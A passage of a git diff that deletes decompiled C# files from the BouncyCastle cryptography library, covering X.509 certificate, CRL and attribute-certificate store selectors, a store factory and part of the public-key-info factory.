a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509AttrCertStoreSelector.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509.Store; - -public class X509AttrCertStoreSelector : IX509Selector, ICloneable -{ - private IX509AttributeCertificate attributeCert; - - private DateTimeObject attributeCertificateValid; - - private AttributeCertificateHolder holder; - - private AttributeCertificateIssuer issuer; - - private BigInteger serialNumber; - - private ISet targetNames = new HashSet(); - - private ISet targetGroups = new HashSet(); - - public IX509AttributeCertificate AttributeCert - { - get - { - return attributeCert; - } - set - { - attributeCert = value; - } - } - - [Obsolete("Use AttributeCertificateValid instead")] - public DateTimeObject AttribueCertificateValid - { - get - { - return attributeCertificateValid; - } - set - { - attributeCertificateValid = value; - } - } - - public DateTimeObject AttributeCertificateValid - { - get - { - return attributeCertificateValid; - } - set - { - attributeCertificateValid = value; - } - } - - public AttributeCertificateHolder Holder - { - get - { - return holder; - } - set - { - holder = value; - } - } - - public AttributeCertificateIssuer Issuer - { - get - { - return issuer; - } - set - { - issuer = value; - } - } - - public BigInteger SerialNumber - { - get - { - return serialNumber; - } - set - { - serialNumber = value; - } - } - - public X509AttrCertStoreSelector() - { - } - - private X509AttrCertStoreSelector(X509AttrCertStoreSelector o) - { - attributeCert = o.attributeCert; - attributeCertificateValid = o.attributeCertificateValid; - holder = o.holder; - issuer = o.issuer; - serialNumber = o.serialNumber; - targetGroups = new HashSet(o.targetGroups); - targetNames = new HashSet(o.targetNames); - } - - public bool Match(object obj) - { - if (obj == null) - { - throw new ArgumentNullException("obj"); - } - if (!(obj is IX509AttributeCertificate iX509AttributeCertificate)) - { - return false; - } - if (attributeCert != null && !attributeCert.Equals(iX509AttributeCertificate)) - { - return false; - } - if (serialNumber != null && !iX509AttributeCertificate.SerialNumber.Equals(serialNumber)) - { - return false; - } - if (holder != null && !iX509AttributeCertificate.Holder.Equals(holder)) - { - return false; - } - if (issuer != null && !iX509AttributeCertificate.Issuer.Equals(issuer)) - { - return false; - } - if (attributeCertificateValid != null && !iX509AttributeCertificate.IsValid(attributeCertificateValid.Value)) - { - return false; - } - if (targetNames.Count > 0 || targetGroups.Count > 0) - { - Asn1OctetString extensionValue = iX509AttributeCertificate.GetExtensionValue(X509Extensions.TargetInformation); - if (extensionValue != null) - { - TargetInformation instance; - try - { - instance = TargetInformation.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)); - } - catch (Exception) - { - return false; - } - Targets[] targetsObjects = instance.GetTargetsObjects(); - if (targetNames.Count > 0) - { - bool flag = false; - for (int i = 0; i < targetsObjects.Length; i++) - { - if (flag) - { - break; - } - Target[] targets = targetsObjects[i].GetTargets(); - for (int j = 0; j < targets.Length; j++) - { - GeneralName targetName = targets[j].TargetName; - if (targetName != null && targetNames.Contains(targetName)) - { - flag = true; - break; - } - } - } - if (!flag) - { - return false; - } - } - if (targetGroups.Count > 0) - { - bool flag2 = false; - for (int k = 0; k < targetsObjects.Length; k++) - { - if (flag2) - { - break; - } - Target[] targets2 = targetsObjects[k].GetTargets(); - for (int l = 0; l < targets2.Length; l++) - { - GeneralName targetGroup = targets2[l].TargetGroup; - if (targetGroup != null && targetGroups.Contains(targetGroup)) - { - flag2 = true; - break; - } - } - } - if (!flag2) - { - return false; - } - } - } - } - return true; - } - - public object Clone() - { - return new X509AttrCertStoreSelector(this); - } - - public void AddTargetName(GeneralName name) - { - targetNames.Add(name); - } - - public void AddTargetName(byte[] name) - { - AddTargetName(GeneralName.GetInstance(Asn1Object.FromByteArray(name))); - } - - public void SetTargetNames(IEnumerable names) - { - targetNames = ExtractGeneralNames(names); - } - - public IEnumerable GetTargetNames() - { - return new EnumerableProxy(targetNames); - } - - public void AddTargetGroup(GeneralName group) - { - targetGroups.Add(group); - } - - public void AddTargetGroup(byte[] name) - { - AddTargetGroup(GeneralName.GetInstance(Asn1Object.FromByteArray(name))); - } - - public void SetTargetGroups(IEnumerable names) - { - targetGroups = ExtractGeneralNames(names); - } - - public IEnumerable GetTargetGroups() - { - return new EnumerableProxy(targetGroups); - } - - private ISet ExtractGeneralNames(IEnumerable names) - { - ISet set = new HashSet(); - if (names != null) - { - foreach (object name in names) - { - if (name is GeneralName) - { - set.Add(name); - } - else - { - set.Add(GeneralName.GetInstance(Asn1Object.FromByteArray((byte[])name))); - } - } - } - return set; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CertPairStoreSelector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CertPairStoreSelector.cs deleted file mode 100644 index 7133baa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CertPairStoreSelector.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System; - -namespace Org.BouncyCastle.X509.Store; - -public class X509CertPairStoreSelector : IX509Selector, ICloneable -{ - private X509CertificatePair certPair; - - private X509CertStoreSelector forwardSelector; - - private X509CertStoreSelector reverseSelector; - - public X509CertificatePair CertPair - { - get - { - return certPair; - } - set - { - certPair = value; - } - } - - public X509CertStoreSelector ForwardSelector - { - get - { - return CloneSelector(forwardSelector); - } - set - { - forwardSelector = CloneSelector(value); - } - } - - public X509CertStoreSelector ReverseSelector - { - get - { - return CloneSelector(reverseSelector); - } - set - { - reverseSelector = CloneSelector(value); - } - } - - private static X509CertStoreSelector CloneSelector(X509CertStoreSelector s) - { - if (s != null) - { - return (X509CertStoreSelector)s.Clone(); - } - return null; - } - - public X509CertPairStoreSelector() - { - } - - private X509CertPairStoreSelector(X509CertPairStoreSelector o) - { - certPair = o.CertPair; - forwardSelector = o.ForwardSelector; - reverseSelector = o.ReverseSelector; - } - - public bool Match(object obj) - { - if (obj == null) - { - throw new ArgumentNullException("obj"); - } - if (!(obj is X509CertificatePair x509CertificatePair)) - { - return false; - } - if (certPair != null && !certPair.Equals(x509CertificatePair)) - { - return false; - } - if (forwardSelector != null && !forwardSelector.Match(x509CertificatePair.Forward)) - { - return false; - } - if (reverseSelector != null && !reverseSelector.Match(x509CertificatePair.Reverse)) - { - return false; - } - return true; - } - - public object Clone() - { - return new X509CertPairStoreSelector(this); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CertStoreSelector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CertStoreSelector.cs deleted file mode 100644 index a8b7b91..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CertStoreSelector.cs +++ /dev/null @@ -1,454 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509.Store; - -public class X509CertStoreSelector : IX509Selector, ICloneable -{ - private byte[] authorityKeyIdentifier; - - private int basicConstraints = -1; - - private X509Certificate certificate; - - private DateTimeObject certificateValid; - - private ISet extendedKeyUsage; - - private bool ignoreX509NameOrdering; - - private X509Name issuer; - - private bool[] keyUsage; - - private ISet policy; - - private DateTimeObject privateKeyValid; - - private BigInteger serialNumber; - - private X509Name subject; - - private byte[] subjectKeyIdentifier; - - private SubjectPublicKeyInfo subjectPublicKey; - - private DerObjectIdentifier subjectPublicKeyAlgID; - - public byte[] AuthorityKeyIdentifier - { - get - { - return Arrays.Clone(authorityKeyIdentifier); - } - set - { - authorityKeyIdentifier = Arrays.Clone(value); - } - } - - public int BasicConstraints - { - get - { - return basicConstraints; - } - set - { - if (value < -2) - { - throw new ArgumentException("value can't be less than -2", "value"); - } - basicConstraints = value; - } - } - - public X509Certificate Certificate - { - get - { - return certificate; - } - set - { - certificate = value; - } - } - - public DateTimeObject CertificateValid - { - get - { - return certificateValid; - } - set - { - certificateValid = value; - } - } - - public ISet ExtendedKeyUsage - { - get - { - return CopySet(extendedKeyUsage); - } - set - { - extendedKeyUsage = CopySet(value); - } - } - - public bool IgnoreX509NameOrdering - { - get - { - return ignoreX509NameOrdering; - } - set - { - ignoreX509NameOrdering = value; - } - } - - public X509Name Issuer - { - get - { - return issuer; - } - set - { - issuer = value; - } - } - - [Obsolete("Avoid working with X509Name objects in string form")] - public string IssuerAsString - { - get - { - if (issuer == null) - { - return null; - } - return issuer.ToString(); - } - } - - public bool[] KeyUsage - { - get - { - return CopyBoolArray(keyUsage); - } - set - { - keyUsage = CopyBoolArray(value); - } - } - - public ISet Policy - { - get - { - return CopySet(policy); - } - set - { - policy = CopySet(value); - } - } - - public DateTimeObject PrivateKeyValid - { - get - { - return privateKeyValid; - } - set - { - privateKeyValid = value; - } - } - - public BigInteger SerialNumber - { - get - { - return serialNumber; - } - set - { - serialNumber = value; - } - } - - public X509Name Subject - { - get - { - return subject; - } - set - { - subject = value; - } - } - - [Obsolete("Avoid working with X509Name objects in string form")] - public string SubjectAsString - { - get - { - if (subject == null) - { - return null; - } - return subject.ToString(); - } - } - - public byte[] SubjectKeyIdentifier - { - get - { - return Arrays.Clone(subjectKeyIdentifier); - } - set - { - subjectKeyIdentifier = Arrays.Clone(value); - } - } - - public SubjectPublicKeyInfo SubjectPublicKey - { - get - { - return subjectPublicKey; - } - set - { - subjectPublicKey = value; - } - } - - public DerObjectIdentifier SubjectPublicKeyAlgID - { - get - { - return subjectPublicKeyAlgID; - } - set - { - subjectPublicKeyAlgID = value; - } - } - - public X509CertStoreSelector() - { - } - - public X509CertStoreSelector(X509CertStoreSelector o) - { - authorityKeyIdentifier = o.AuthorityKeyIdentifier; - basicConstraints = o.BasicConstraints; - certificate = o.Certificate; - certificateValid = o.CertificateValid; - extendedKeyUsage = o.ExtendedKeyUsage; - ignoreX509NameOrdering = o.IgnoreX509NameOrdering; - issuer = o.Issuer; - keyUsage = o.KeyUsage; - policy = o.Policy; - privateKeyValid = o.PrivateKeyValid; - serialNumber = o.SerialNumber; - subject = o.Subject; - subjectKeyIdentifier = o.SubjectKeyIdentifier; - subjectPublicKey = o.SubjectPublicKey; - subjectPublicKeyAlgID = o.SubjectPublicKeyAlgID; - } - - public virtual object Clone() - { - return new X509CertStoreSelector(this); - } - - public virtual bool Match(object obj) - { - if (!(obj is X509Certificate x509Certificate)) - { - return false; - } - if (!MatchExtension(authorityKeyIdentifier, x509Certificate, X509Extensions.AuthorityKeyIdentifier)) - { - return false; - } - if (basicConstraints != -1) - { - int num = x509Certificate.GetBasicConstraints(); - if (basicConstraints == -2) - { - if (num != -1) - { - return false; - } - } - else if (num < basicConstraints) - { - return false; - } - } - if (certificate != null && !certificate.Equals(x509Certificate)) - { - return false; - } - if (certificateValid != null && !x509Certificate.IsValid(certificateValid.Value)) - { - return false; - } - if (extendedKeyUsage != null) - { - IList list = x509Certificate.GetExtendedKeyUsage(); - if (list != null) - { - foreach (DerObjectIdentifier item in extendedKeyUsage) - { - if (!list.Contains(item.Id)) - { - return false; - } - } - } - } - if (issuer != null && !issuer.Equivalent(x509Certificate.IssuerDN, !ignoreX509NameOrdering)) - { - return false; - } - if (keyUsage != null) - { - bool[] array = x509Certificate.GetKeyUsage(); - if (array != null) - { - for (int i = 0; i < 9; i++) - { - if (keyUsage[i] && !array[i]) - { - return false; - } - } - } - } - if (policy != null) - { - Asn1OctetString extensionValue = x509Certificate.GetExtensionValue(X509Extensions.CertificatePolicies); - if (extensionValue == null) - { - return false; - } - Asn1Sequence instance = Asn1Sequence.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)); - if (policy.Count < 1 && instance.Count < 1) - { - return false; - } - bool flag = false; - foreach (PolicyInformation item2 in instance) - { - if (policy.Contains(item2.PolicyIdentifier)) - { - flag = true; - break; - } - } - if (!flag) - { - return false; - } - } - if (privateKeyValid != null) - { - Asn1OctetString extensionValue2 = x509Certificate.GetExtensionValue(X509Extensions.PrivateKeyUsagePeriod); - if (extensionValue2 == null) - { - return false; - } - PrivateKeyUsagePeriod instance2 = PrivateKeyUsagePeriod.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue2)); - DateTime value = privateKeyValid.Value; - DateTime dateTime = instance2.NotAfter.ToDateTime(); - DateTime dateTime2 = instance2.NotBefore.ToDateTime(); - if (value.CompareTo((object?)dateTime) > 0 || value.CompareTo((object?)dateTime2) < 0) - { - return false; - } - } - if (serialNumber != null && !serialNumber.Equals(x509Certificate.SerialNumber)) - { - return false; - } - if (subject != null && !subject.Equivalent(x509Certificate.SubjectDN, !ignoreX509NameOrdering)) - { - return false; - } - if (!MatchExtension(subjectKeyIdentifier, x509Certificate, X509Extensions.SubjectKeyIdentifier)) - { - return false; - } - if (subjectPublicKey != null && !subjectPublicKey.Equals(GetSubjectPublicKey(x509Certificate))) - { - return false; - } - if (subjectPublicKeyAlgID != null && !subjectPublicKeyAlgID.Equals(GetSubjectPublicKey(x509Certificate).AlgorithmID)) - { - return false; - } - return true; - } - - internal static bool IssuersMatch(X509Name a, X509Name b) - { - return a?.Equivalent(b, inOrder: true) ?? (b == null); - } - - private static bool[] CopyBoolArray(bool[] b) - { - if (b != null) - { - return (bool[])b.Clone(); - } - return null; - } - - private static ISet CopySet(ISet s) - { - if (s != null) - { - return new HashSet(s); - } - return null; - } - - private static SubjectPublicKeyInfo GetSubjectPublicKey(X509Certificate c) - { - return SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(c.GetPublicKey()); - } - - private static bool MatchExtension(byte[] b, X509Certificate c, DerObjectIdentifier oid) - { - if (b == null) - { - return true; - } - Asn1OctetString extensionValue = c.GetExtensionValue(oid); - if (extensionValue == null) - { - return false; - } - return Arrays.AreEqual(b, extensionValue.GetOctets()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CollectionStore.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CollectionStore.cs deleted file mode 100644 index 93c0ecb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CollectionStore.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509.Store; - -internal class X509CollectionStore : IX509Store -{ - private ICollection _local; - - internal X509CollectionStore(ICollection collection) - { - _local = Platform.CreateArrayList(collection); - } - - public ICollection GetMatches(IX509Selector selector) - { - if (selector == null) - { - return Platform.CreateArrayList(_local); - } - IList list = Platform.CreateArrayList(); - foreach (object item in _local) - { - if (selector.Match(item)) - { - list.Add(item); - } - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CollectionStoreParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CollectionStoreParameters.cs deleted file mode 100644 index b095eae..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CollectionStoreParameters.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using System.Collections; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509.Store; - -public class X509CollectionStoreParameters : IX509StoreParameters -{ - private readonly IList collection; - - public X509CollectionStoreParameters(ICollection collection) - { - if (collection == null) - { - throw new ArgumentNullException("collection"); - } - this.collection = Platform.CreateArrayList(collection); - } - - public ICollection GetCollection() - { - return Platform.CreateArrayList(collection); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("X509CollectionStoreParameters: [\n"); - stringBuilder.Append(string.Concat(" collection: ", collection, "\n")); - stringBuilder.Append("]"); - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CrlStoreSelector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CrlStoreSelector.cs deleted file mode 100644 index c7dafa1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509CrlStoreSelector.cs +++ /dev/null @@ -1,290 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509.Store; - -public class X509CrlStoreSelector : IX509Selector, ICloneable -{ - private X509Certificate certificateChecking; - - private DateTimeObject dateAndTime; - - private ICollection issuers; - - private BigInteger maxCrlNumber; - - private BigInteger minCrlNumber; - - private IX509AttributeCertificate attrCertChecking; - - private bool completeCrlEnabled; - - private bool deltaCrlIndicatorEnabled; - - private byte[] issuingDistributionPoint; - - private bool issuingDistributionPointEnabled; - - private BigInteger maxBaseCrlNumber; - - public X509Certificate CertificateChecking - { - get - { - return certificateChecking; - } - set - { - certificateChecking = value; - } - } - - public DateTimeObject DateAndTime - { - get - { - return dateAndTime; - } - set - { - dateAndTime = value; - } - } - - public ICollection Issuers - { - get - { - return Platform.CreateArrayList(issuers); - } - set - { - issuers = Platform.CreateArrayList(value); - } - } - - public BigInteger MaxCrlNumber - { - get - { - return maxCrlNumber; - } - set - { - maxCrlNumber = value; - } - } - - public BigInteger MinCrlNumber - { - get - { - return minCrlNumber; - } - set - { - minCrlNumber = value; - } - } - - public IX509AttributeCertificate AttrCertChecking - { - get - { - return attrCertChecking; - } - set - { - attrCertChecking = value; - } - } - - public bool CompleteCrlEnabled - { - get - { - return completeCrlEnabled; - } - set - { - completeCrlEnabled = value; - } - } - - public bool DeltaCrlIndicatorEnabled - { - get - { - return deltaCrlIndicatorEnabled; - } - set - { - deltaCrlIndicatorEnabled = value; - } - } - - public byte[] IssuingDistributionPoint - { - get - { - return Arrays.Clone(issuingDistributionPoint); - } - set - { - issuingDistributionPoint = Arrays.Clone(value); - } - } - - public bool IssuingDistributionPointEnabled - { - get - { - return issuingDistributionPointEnabled; - } - set - { - issuingDistributionPointEnabled = value; - } - } - - public BigInteger MaxBaseCrlNumber - { - get - { - return maxBaseCrlNumber; - } - set - { - maxBaseCrlNumber = value; - } - } - - public X509CrlStoreSelector() - { - } - - public X509CrlStoreSelector(X509CrlStoreSelector o) - { - certificateChecking = o.CertificateChecking; - dateAndTime = o.DateAndTime; - issuers = o.Issuers; - maxCrlNumber = o.MaxCrlNumber; - minCrlNumber = o.MinCrlNumber; - deltaCrlIndicatorEnabled = o.DeltaCrlIndicatorEnabled; - completeCrlEnabled = o.CompleteCrlEnabled; - maxBaseCrlNumber = o.MaxBaseCrlNumber; - attrCertChecking = o.AttrCertChecking; - issuingDistributionPointEnabled = o.IssuingDistributionPointEnabled; - issuingDistributionPoint = o.IssuingDistributionPoint; - } - - public virtual object Clone() - { - return new X509CrlStoreSelector(this); - } - - public virtual bool Match(object obj) - { - if (!(obj is X509Crl x509Crl)) - { - return false; - } - if (dateAndTime != null) - { - DateTime value = dateAndTime.Value; - DateTime thisUpdate = x509Crl.ThisUpdate; - DateTimeObject nextUpdate = x509Crl.NextUpdate; - if (value.CompareTo((object?)thisUpdate) < 0 || nextUpdate == null || value.CompareTo((object?)nextUpdate.Value) >= 0) - { - return false; - } - } - if (issuers != null) - { - X509Name issuerDN = x509Crl.IssuerDN; - bool flag = false; - foreach (X509Name issuer in issuers) - { - if (issuer.Equivalent(issuerDN, inOrder: true)) - { - flag = true; - break; - } - } - if (!flag) - { - return false; - } - } - if (maxCrlNumber != null || minCrlNumber != null) - { - Asn1OctetString extensionValue = x509Crl.GetExtensionValue(X509Extensions.CrlNumber); - if (extensionValue == null) - { - return false; - } - BigInteger positiveValue = DerInteger.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)).PositiveValue; - if (maxCrlNumber != null && positiveValue.CompareTo(maxCrlNumber) > 0) - { - return false; - } - if (minCrlNumber != null && positiveValue.CompareTo(minCrlNumber) < 0) - { - return false; - } - } - DerInteger derInteger = null; - try - { - Asn1OctetString extensionValue2 = x509Crl.GetExtensionValue(X509Extensions.DeltaCrlIndicator); - if (extensionValue2 != null) - { - derInteger = DerInteger.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue2)); - } - } - catch (Exception) - { - return false; - } - if (derInteger == null) - { - if (DeltaCrlIndicatorEnabled) - { - return false; - } - } - else - { - if (CompleteCrlEnabled) - { - return false; - } - if (maxBaseCrlNumber != null && derInteger.PositiveValue.CompareTo(maxBaseCrlNumber) > 0) - { - return false; - } - } - if (issuingDistributionPointEnabled) - { - Asn1OctetString extensionValue3 = x509Crl.GetExtensionValue(X509Extensions.IssuingDistributionPoint); - if (issuingDistributionPoint == null) - { - if (extensionValue3 != null) - { - return false; - } - } - else if (!Arrays.AreEqual(extensionValue3.GetOctets(), issuingDistributionPoint)) - { - return false; - } - } - return true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509StoreException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509StoreException.cs deleted file mode 100644 index c80192d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509StoreException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.X509.Store; - -[Serializable] -public class X509StoreException : Exception -{ - public X509StoreException() - { - } - - public X509StoreException(string message) - : base(message) - { - } - - public X509StoreException(string message, Exception e) - : base(message, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509StoreFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509StoreFactory.cs deleted file mode 100644 index 45830f3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509StoreFactory.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509.Store; - -public sealed class X509StoreFactory -{ - private X509StoreFactory() - { - } - - public static IX509Store Create(string type, IX509StoreParameters parameters) - { - if (type == null) - { - throw new ArgumentNullException("type"); - } - string[] array = Platform.ToUpperInvariant(type).Split(new char[1] { '/' }); - if (array.Length < 2) - { - throw new ArgumentException("type"); - } - if (array[1] != "COLLECTION") - { - throw new NoSuchStoreException("X.509 store type '" + type + "' not available."); - } - X509CollectionStoreParameters x509CollectionStoreParameters = (X509CollectionStoreParameters)parameters; - ICollection collection = x509CollectionStoreParameters.GetCollection(); - switch (array[0]) - { - case "ATTRIBUTECERTIFICATE": - checkCorrectType(collection, typeof(IX509AttributeCertificate)); - break; - case "CERTIFICATE": - checkCorrectType(collection, typeof(X509Certificate)); - break; - case "CERTIFICATEPAIR": - checkCorrectType(collection, typeof(X509CertificatePair)); - break; - case "CRL": - checkCorrectType(collection, typeof(X509Crl)); - break; - default: - throw new NoSuchStoreException("X.509 store type '" + type + "' not available."); - } - return new X509CollectionStore(collection); - } - - private static void checkCorrectType(ICollection coll, Type t) - { - foreach (object item in coll) - { - if (!t.IsInstanceOfType(item)) - { - throw new InvalidCastException("Can't cast object to type: " + t.FullName); - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/SubjectPublicKeyInfoFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/SubjectPublicKeyInfoFactory.cs deleted file mode 100644 index c5ed0d9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/SubjectPublicKeyInfoFactory.cs +++ /dev/null @@ -1,183 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509; - -public sealed class SubjectPublicKeyInfoFactory -{ - private SubjectPublicKeyInfoFactory() - { - } - - public static SubjectPublicKeyInfo CreateSubjectPublicKeyInfo(AsymmetricKeyParameter publicKey) - { - if (publicKey == null) - { - throw new ArgumentNullException("publicKey"); - } - if (publicKey.IsPrivate) - { - throw new ArgumentException("Private key passed - public key expected.", "publicKey"); - } - if (publicKey is ElGamalPublicKeyParameters) - { - ElGamalPublicKeyParameters elGamalPublicKeyParameters = (ElGamalPublicKeyParameters)publicKey; - ElGamalParameters parameters = elGamalPublicKeyParameters.Parameters; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(OiwObjectIdentifiers.ElGamalAlgorithm, new ElGamalParameter(parameters.P, parameters.G).ToAsn1Object()), new DerInteger(elGamalPublicKeyParameters.Y)); - } - if (publicKey is DsaPublicKeyParameters) - { - DsaPublicKeyParameters dsaPublicKeyParameters = (DsaPublicKeyParameters)publicKey; - DsaParameters parameters2 = dsaPublicKeyParameters.Parameters; - Asn1Encodable parameters3 = ((parameters2 == null) ? null : new DsaParameter(parameters2.P, parameters2.Q, parameters2.G).ToAsn1Object()); - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(X9ObjectIdentifiers.IdDsa, parameters3), new DerInteger(dsaPublicKeyParameters.Y)); - } - if (publicKey is DHPublicKeyParameters) - { - DHPublicKeyParameters dHPublicKeyParameters = (DHPublicKeyParameters)publicKey; - DHParameters parameters4 = dHPublicKeyParameters.Parameters; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(dHPublicKeyParameters.AlgorithmOid, new DHParameter(parameters4.P, parameters4.G, parameters4.L).ToAsn1Object()), new DerInteger(dHPublicKeyParameters.Y)); - } - if (publicKey is RsaKeyParameters) - { - RsaKeyParameters rsaKeyParameters = (RsaKeyParameters)publicKey; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(PkcsObjectIdentifiers.RsaEncryption, DerNull.Instance), new RsaPublicKeyStructure(rsaKeyParameters.Modulus, rsaKeyParameters.Exponent).ToAsn1Object()); - } - if (publicKey is ECPublicKeyParameters) - { - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)publicKey; - if (eCPublicKeyParameters.Parameters is ECGost3410Parameters) - { - ECGost3410Parameters eCGost3410Parameters = (ECGost3410Parameters)eCPublicKeyParameters.Parameters; - BigInteger bigInteger = eCPublicKeyParameters.Q.AffineXCoord.ToBigInteger(); - BigInteger bI = eCPublicKeyParameters.Q.AffineYCoord.ToBigInteger(); - bool flag = bigInteger.BitLength > 256; - Gost3410PublicKeyAlgParameters parameters5 = new Gost3410PublicKeyAlgParameters(eCGost3410Parameters.PublicKeyParamSet, eCGost3410Parameters.DigestParamSet, eCGost3410Parameters.EncryptionParamSet); - int num; - int offSet; - DerObjectIdentifier algorithm; - if (flag) - { - num = 128; - offSet = 64; - algorithm = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512; - } - else - { - num = 64; - offSet = 32; - algorithm = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256; - } - byte[] array = new byte[num]; - ExtractBytes(array, num / 2, 0, bigInteger); - ExtractBytes(array, num / 2, offSet, bI); - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(algorithm, parameters5), new DerOctetString(array)); - } - if (eCPublicKeyParameters.AlgorithmName == "ECGOST3410") - { - if (eCPublicKeyParameters.PublicKeyParamSet == null) - { - throw Platform.CreateNotImplementedException("Not a CryptoPro parameter set"); - } - ECPoint eCPoint = eCPublicKeyParameters.Q.Normalize(); - BigInteger bI2 = eCPoint.AffineXCoord.ToBigInteger(); - BigInteger bI3 = eCPoint.AffineYCoord.ToBigInteger(); - byte[] array2 = new byte[64]; - ExtractBytes(array2, 0, bI2); - ExtractBytes(array2, 32, bI3); - Gost3410PublicKeyAlgParameters gost3410PublicKeyAlgParameters = new Gost3410PublicKeyAlgParameters(eCPublicKeyParameters.PublicKeyParamSet, CryptoProObjectIdentifiers.GostR3411x94CryptoProParamSet); - AlgorithmIdentifier algID = new AlgorithmIdentifier(CryptoProObjectIdentifiers.GostR3410x2001, gost3410PublicKeyAlgParameters.ToAsn1Object()); - return new SubjectPublicKeyInfo(algID, new DerOctetString(array2)); - } - X962Parameters x962Parameters; - if (eCPublicKeyParameters.PublicKeyParamSet == null) - { - ECDomainParameters parameters6 = eCPublicKeyParameters.Parameters; - X9ECParameters ecParameters = new X9ECParameters(parameters6.Curve, parameters6.G, parameters6.N, parameters6.H, parameters6.GetSeed()); - x962Parameters = new X962Parameters(ecParameters); - } - else - { - x962Parameters = new X962Parameters(eCPublicKeyParameters.PublicKeyParamSet); - } - byte[] encoded = eCPublicKeyParameters.Q.GetEncoded(compressed: false); - AlgorithmIdentifier algID2 = new AlgorithmIdentifier(X9ObjectIdentifiers.IdECPublicKey, x962Parameters.ToAsn1Object()); - return new SubjectPublicKeyInfo(algID2, encoded); - } - if (publicKey is Gost3410PublicKeyParameters) - { - Gost3410PublicKeyParameters gost3410PublicKeyParameters = (Gost3410PublicKeyParameters)publicKey; - if (gost3410PublicKeyParameters.PublicKeyParamSet == null) - { - throw Platform.CreateNotImplementedException("Not a CryptoPro parameter set"); - } - 